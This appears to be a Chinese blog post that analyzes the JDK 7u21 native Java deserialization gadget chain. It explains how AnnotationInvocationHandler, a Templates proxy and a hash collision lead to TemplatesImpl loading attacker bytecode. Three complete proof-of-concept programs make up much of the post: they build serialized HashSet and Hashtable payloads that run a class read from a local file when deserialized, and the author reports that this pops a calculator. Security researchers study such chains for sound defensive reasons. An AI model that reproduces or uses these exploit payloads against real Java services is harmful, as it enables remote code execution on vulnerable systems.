首页 > 其他分享 >jdk7u21 链子分析

jdk7u21 链子分析

时间:2024-10-21 16:43:25浏览次数:1  
标签:分析 TemplatesImpl java tem 链子 import new jdk7u21 class

jdk7u21 链子分析

java 中的反序列化大部分时候都依靠第三方组件漏洞,原生链子很少,今天分析其中条:7u21 反序列化

链子分析

环境:Java7u21原生链反序列化要求jdk版本低于7u21,其他的什么第三方依赖都不需要。可以下载 jdk 源码,引入方法和 cc1 一样,下载地址:https://hg.openjdk.org/jdk7u/jdk7u/jdk/rev/f3cf02a53684

ysoserial中给出的调用链,

Gadget
LinkedHashSet.readObject()
LinkedHashSet.add()
  ...
    TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
  ...
    Proxy(Templates).hashCode() (X)
      AnnotationInvocationHandler.invoke() (X)
        AnnotationInvocationHandler.hashCodeImpl() (X)
          String.hashCode() (0)
          AnnotationInvocationHandler.memberValueHashCode() (X)
            TemplatesImpl.hashCode() (X)
    Proxy(Templates).equals()
      AnnotationInvocationHandler.invoke()
        AnnotationInvocationHandler.equalsImpl()
          Method.invoke()
            ...
              TemplatesImpl.getOutputProperties()
                TemplatesImpl.newTransformer()
                  TemplatesImpl.getTransletInstance()
                    TemplatesImpl.defineTransletClasses()
                      ClassLoader.defineClass()
                      Class.newInstance()
                        ...
                          MaliciousClass.<clinit>()
                            ...
                              Runtime.exec()

虽然有点冗杂,但是不难看出最后的 sink 是 AnnotationInvocationHandler.equalsImpl() 方法,看到存在不满足 if 条件存在 invoke 方法, memberMethod 是循环调用 getMemberMethods 方法获取的,

跟进到 getMemberMethods,最后返回的其实就是 type.getDeclaredMethods(),即 type 中所有方法组成的数组,然后进行循环调用。

而 type 在构造函数中可以进行赋值,所以最后方法我们也可以进行控制,

不过这里看到在 equalsImpl() 方法中,要进入 for 循环还需要满足一个 if 条件,

if (!type.isInstance(o))  
    return false;

最后我们的利用选的是 templates 类,就是 type 为 templates 类,然后利用方法getDeclaredMethods() 获得所有方法,包括 getOutputproperties() 方法,最后进行动态加载字节码。

o 就是调用的 equal 方法参数,即参数也为 templates 类就行了。

接下来就是寻找看谁调用了 equalsImpl() 方法,就一处地方调用了: AnnotationInvocationHandler.invoke(),然后需要满足 if 条件,反射调用的方法是 equals,并且该方法只有一个参数类型是类。

那么怎么去触发该 invoke 方法了,这里的类名结尾是 handler,很显然是个代理类,现在就是需要找

看上面的链子不难发现用的是  LinkedHashSet 类,它继承了 hashset,这里就直接用 hashset 了,跟进到 hashset#readobject 方法,调用了 map.put 方法,cc7 中已经知道 hashmap.put 中会触发 equal 方法

跟进到其 put 方法中,需要满足 map 中的两对键值 hashcode 相同,让 key 为Proxy代码对象, k 为 templates 对象就能进行触发 invoke 方法,

这里需要判断 Proxy 的hashCode 的 TemplatesImpl 的 hashCode。

这里和 rome 链的调用 equal 方法有点像但是也有区别,在 rome 链中最后调用 equal 方法的是 reconstitutionPut 方法,

需要 e.key 为 EqualsBean,key 为 TemplatesImpl,其 payload 如下

HashMap hashMap1 = new HashMap();  
hashMap1.put("yy", bean);  
hashMap1.put("zZ", tem);  

HashMap hashMap2 = new HashMap();  
hashMap2.put("yy", tem);  
hashMap2.put("zZ", bean);  

Hashtable table = new Hashtable();  
table.put(hashMap1, "1");  
table.put(hashMap2, "2");  

其实不同就在于 tableput 进去的是键是 map 类型,然后 e.key 其实就是调用的 hashmap1 中的键值,而 key 就是 hashmap2 中的键值。但这里不一样,这里是通过 hashset.add 添加的并且不是 map 类型,key 直接就是传入的类型。

回到该链子,调用 TemplatesImpl.hashCode 就是 object 中的 hashcode,而 Proxy 的 hashcode 会调用到 AnnotationInvocationHandler 中的hashCodeImpl 方法,

Annotationinvocationhandler 的构造方法会对 memberValues 进行赋值。然后 for 循环又会对map中的每个key和value 进行异或求和。现在我们可以控制 memberValues,也就可以决定 Proxy.hashcode 返回的值,

于是如果我们可以构造的一个map 满足,key的hashCode()结果是0,value是templateslmpl对象。那么最后返回的 hashcode 就和 TemplatesImpl.hashCode 相等了,这个 key 可以参考 p 神的爆破脚本

public class Text {
    public static void main(String[] args) {
        for (long i = 0; i < 9999999999L; i++) {
            if (Long.toHexString(i).hashCode() == 0) {
                System.out.println(Long.toHexString(i));
            }
        }
    }
}

在 ysoserial 给的是 f5a5a608

poc 构造

实列化 AnnotationInvocationHandler 类,让 type 为 Templates.class ,hashmap 键值为特意构造计算相同的 hash 值

TemplatesImpl tem = new TemplatesImpl();  
byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
setValue(tem, "_bytecodes", new byte[][]{code});  
setValue(tem, "_tfactory", new TransformerFactoryImpl());  
setValue(tem, "_name", "gaoren");  
setValue(tem, "_class", null);

HashMap hashMap = new HashMap();  
hashMap.put("f5a5a608",tem);

Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
c.setAccessible(true);  
InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);

然后把值添加进 hashset 中,poc:

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class jdk7u21 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
        hashMap.put("f5a5a608",tem);  
  
        Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashSet hashSet = new HashSet();  
        hashSet.add(tem);  
        hashSet.add(proxy);  
  
    }  
  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

进行调用,看到两个 hash 值确实相等了,那么代理类会调用 equals 方法,从而触发 invoke 。

看到调用的方法是 newTransformer 方法,

最后成功弹出计算机,

但是这里是通过 add 方法调用进行触发的,现在更改一下 poc 使得在 readobject 的时候进行调用,就是 add 顺序调一下。

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Map;  
  
public class jdk7u21 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
        hashMap.put("f5a5a608",tem);  
  
        Class clz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = clz.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashSet hashSet = new HashSet();  
        hashSet.add(proxy);  
        hashSet.add(tem);  
  
        serilize(hashSet);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

LinkedHashSet 其实也是一样的。

还有就是上面说的 rome 链中的 equal 链也可以进行触发,利用 hashtable 进行触发。

package org.example;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.HashSet;  
import java.util.Hashtable;  
import java.util.Map;  
  
public class jdk7u212 {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem = new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/poc.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        HashMap hashMap = new HashMap();  
  
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor c = cls.getDeclaredConstructor(Class.class, Map.class);  
        c.setAccessible(true);  
  
        InvocationHandler handler = (InvocationHandler) c.newInstance(Templates.class, hashMap);  
        Templates proxy = (Templates) Proxy.newProxyInstance(tem.getClass().getClassLoader(), tem.getClass().getInterfaces(), handler);  
  
        HashMap hashMap1 = new HashMap();  
        hashMap1.put("AaAaAa", proxy);  
        hashMap1.put("BBAaBB", tem);  
  
        HashMap hashMap2 = new HashMap();  
        hashMap2.put("AaAaAa", tem);  
        hashMap2.put("BBAaBB", proxy);  
  
        Hashtable table = new Hashtable();  
        table.put(hashMap1, "1");  
        table.put(hashMap2, "2");  
  
        serilize(table);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
  
    public static void setValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
  
    }  
}

参考:https://nivi4.notion.site/7u21-be753754767a4e13a638c70ad9a48110

参考:https://www.cnblogs.com/BUTLER/articles/16478462.html

标签:分析,TemplatesImpl,java,tem,链子,import,new,jdk7u21,class
From: https://www.cnblogs.com/gaorenyusi/p/18489805

相关文章

  • jdk8u20 链子分析
    jdk8u20链子分析在JDK7u21中反序列化漏洞修补方式是在AnnotationInvocationHandler类对type属性做了校验,原来的payload就会执行失败。但在8u20中可以用BeanContextSupport类对这个修补方式进行绕过,所以说其实jdk8u20就是对jdk7u21的绕过。链子分析可以看到在高版本......
  • 零基础入门转录组下游分析——数据处理(TCGA数据库)
    零基础入门转录组下游分析——数据处理(TCGA数据库)目录零基础入门转录组下游分析——数据处理(TCGA数据库)1.数据集获取2.数据处理(Rstudio)TCGA应该是肿瘤数据最权威的来源之一,但是从TCGA上下载数据集相对来说比较麻烦,因此出现了很多针对TCGA数据进行二次开发的衍生......
  • 17track物流查询平台 last-event-id 参数逆向分析
    声明本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作......
  • 【JS逆向百例】某赚网 WebSocket 套 Webpack 逆向分析
    声明本文章中所有内容仅供学习交流使用,不用于其他任何目的,不提供完整代码,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关!本文章未经许可禁止转载,禁止任何修改后二次传播,擅自使用本文讲解的技术而导致的任何意外,作......
  • 【25届计算机毕设选题推荐】基于python的重庆旅游景点数据分析系统的设计与实现 【附
    ✍✍计算机毕设编程指导师**⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流!⚡⚡Java、Python、小程序、大数据实战项目集⚡⚡文末获取......
  • 【智能大数据分析 | 实验四】Spark实验:Spark Streaming
    【作者主页】FrancekChen【专栏介绍】⌈⌈⌈智能大数据分析⌋......
  • CAE教程:HyperMesh概述与有限元分析简介
    1.1HyperMesh概述本节将介绍有限单元法基本原理,HyperMesh软件基本功能及界面介绍,获取在线帮助等内容。1.1.1有限元分析方法简介有限单元法(FEM)是一种可以精确预测复杂结构在外界载荷作用下响应的方法,该数值方法起源于上世纪50年代。在有限单元法出现之前,验证设计方案或评......
  • 用C++构建自己的编译器:从词法分析到代码生成
    解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界本文将带领读者从零开始构建一个简单的C++编译器。我们将逐步讲解如何进行词法分析、语法分析,以及如何将这些结果转换为目标代码。这篇文章的目标是帮助读者理解编译器的基本构成和工作原理,并提供可扩展的编译器......
  • 你为什么不应该过度关注go语言的逃逸分析
    逃逸分析算是go语言的特色之一,编译器自动分析变量/内存应该分配在栈上还是堆上,程序员不需要主动关心这些事情,保证了内存安全的同时也减轻了程序员的负担。然而这个“减轻负担”的特性现在却成了程序员的心智负担。尤其是各路八股文普及之后,逃逸分析相关的问题在面试里出现的频率......
  • 深度学习代码结构分析(之常见文件夹的作用)
    记录一下小白对深度学习论文代码的分析对于初次接触开源项目代码的人来说,看不明白这些众多的文件夹和文件是干什么的,其实很多文件夹和文件有自己比较固定的内容,以下整理一些常见的文件夹的含义。1.__pycache__文件夹:(编译自动产生)__pycache__文件夹是什么,是缓存文件吗,可以删除......